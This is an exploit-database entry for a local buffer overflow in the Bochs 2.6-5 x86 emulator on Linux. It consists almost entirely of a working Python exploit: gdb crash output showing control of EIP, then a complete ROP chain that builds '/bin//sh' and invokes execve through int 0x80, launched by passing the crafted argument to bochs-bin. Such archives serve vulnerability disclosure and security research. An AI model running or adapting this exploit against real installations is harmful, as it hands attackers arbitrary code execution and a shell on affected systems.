BOCHS 2.6-5 - Local Buffer Overflow

EDB-ID:
43979

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
LOCAL

Exploit: / {}

Platform:
LINUX

Date:
2018-02-05

Vulnerable App:

```
# Exploit Author: Juan Sacco <jsacco@exploitpack.com> -
http://exploitpack.com
# Vulnerability found using Exploit Pack v10 - Fuzzer module
#
# An attacker could exploit this vulnerability to execute arbitrary code in
the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Program description:
# Bochs is a highly portable free IA-32 (x86) PC emulator written in C++,
that
# runs on most popular platforms. It includes emulation of the Intel x86
CPU,
# common I/O devices, and a custom BIOS.
#
# Homepage: http://bochs.sourceforge.net/
# Version: 2.6-5
# Debian package: pool/main/b/bochs/bochs_2.6-5_i386.deb

import os, subprocess
from struct import pack

# gdb-peda$ run `python -c 'print "A"*1200+"DCBA"'`
#
# Program received signal SIGSEGV, Segmentation fault.
#
# [----------------------------------registers-----------------------------
------]
# EAX: 0x1
# EBX: 0x41414141 ('AAAA')
# ECX: 0x8167fa0
(<_ZN13bx_real_sim_c16set_quit_contextEPA1_13__jmp_buf_tag>: mov
edx,DWORD PTR [esp+0x8])
# EDX: 0x99db660 --> 0x81f2fb4 --> 0x8167f90
(<_ZN13bx_real_sim_cD2Ev>: repz ret)
# ESI: 0x41414141 ('AAAA')
# EDI: 0x41414141 ('AAAA')
# EBP: 0x41414141 ('AAAA')
# ESP: 0xbfffedc0 --> 0xb7089300 --> 0xb7032827 ("ISO-10646/UCS2/")
# EIP: 0x41424344 ('DCBA')
# EFLAGS: 0x210286 (carry PARITY adjust zero SIGN trap INTERRUPT
direction overflow)
# [-----------------------------------code-----------------------------
------]
# Invalid $PC address: 0x41424344
# [-----------------------------------stack----------------------------
------]
# 0000| 0xbfffedc0 --> 0xb7089300 --> 0xb7032827 ("ISO-10646/UCS2/")
# 0004| 0xbfffedc4 --> 0xbfffede0 --> 0x2
# 0008| 0xbfffedc8 --> 0x0
# 0012| 0xbfffedcc --> 0xb6eee286 (<__libc_start_main+246>: add
esp,0x10)
# 0016| 0xbfffedd0 --> 0x2
# 0020| 0xbfffedd4 --> 0xb7089000 --> 0x1b2db0
# 0024| 0xbfffedd8 --> 0x0
# 0028| 0xbfffeddc --> 0xb6eee286 (<__libc_start_main+246>: add
esp,0x10)
# [-----------------------------------------------------------------------
------]
# Legend: code, data, rodata, value
# Stopped reason: SIGSEGV
# 0x41424344 in ?? ()

# Padding goes here
junk = 'A'*1200
ropchain = pack('<I', 0x08095473) # pop esi ; ret
```

```
ropchain += pack('<I', 0x08276420) # @ .data
ropchain += pack('<I', 0x080945aa) # pop eax ; ret
ropchain += '/bin'
ropchain += pack('<I', 0x081701a7) # mov dword ptr [esi], eax ; pop
ebx ; pop esi ; pop edi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x08095473) # pop esi ; ret
ropchain += pack('<I', 0x08276424) # @ .data + 4
ropchain += pack('<I', 0x080945aa) # pop eax ; ret
ropchain += '//sh'
ropchain += pack('<I', 0x081701a7) # mov dword ptr [esi], eax ; pop
ebx ; pop esi ; pop edi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x08095473) # pop esi ; ret
ropchain += pack('<I', 0x08276428) # @ .data + 8
ropchain += pack('<I', 0x08099780) # xor eax, eax ; ret
ropchain += pack('<I', 0x081701a7) # mov dword ptr [esi], eax ; pop
ebx ; pop esi ; pop edi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x08054cc4) # pop ebx ; ret
ropchain += pack('<I', 0x08276420) # @ .data
ropchain += pack('<I', 0x08235733) # pop ecx ; ret
ropchain += pack('<I', 0x08276428) # @ .data + 8
ropchain += pack('<I', 0x082350b5) # pop edx ; ret
ropchain += pack('<I', 0x08276428) # @ .data + 8
ropchain += pack('<I', 0x08099780) # xor eax, eax ; ret
ropchain += pack('<I', 0x0804d559) # inc eax ; ret
ropchain += pack('<I', 0x0804d559) # inc eax ; ret
ropchain += pack('<I', 0x0804d559) # inc eax ; ret
ropchain += pack('<I', 0x0804d559) # inc eax ; ret
ropchain += pack('<I', 0x0804d559) # inc eax ; ret
ropchain += pack('<I', 0x0804d559) # inc eax ; ret
ropchain += pack('<I', 0x0804d559) # inc eax ; ret
ropchain += pack('<I', 0x0804d559) # inc eax ; ret
ropchain += pack('<I', 0x0804d559) # inc eax ; ret
ropchain += pack('<I', 0x0804d559) # inc eax ; ret
ropchain += pack('<I', 0x0804d559) # inc eax ; ret
ropchain += pack('<I', 0x0804f101) # int 0x80
crafted_buff = junk + ropchain

try:
   print("[*] BOCHS 2.6-5 Buffer Overflow - Exploit by Juan Sacco")
   print("[*] Running, wait for the shell")
   subprocess.call(["bochs-bin", crafted_buff])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "[*] Sorry! BOCHS not found!"
   else:
    print "[*] Error executing exploit"
   raise
```

Tags: **Advisory/Source:** Link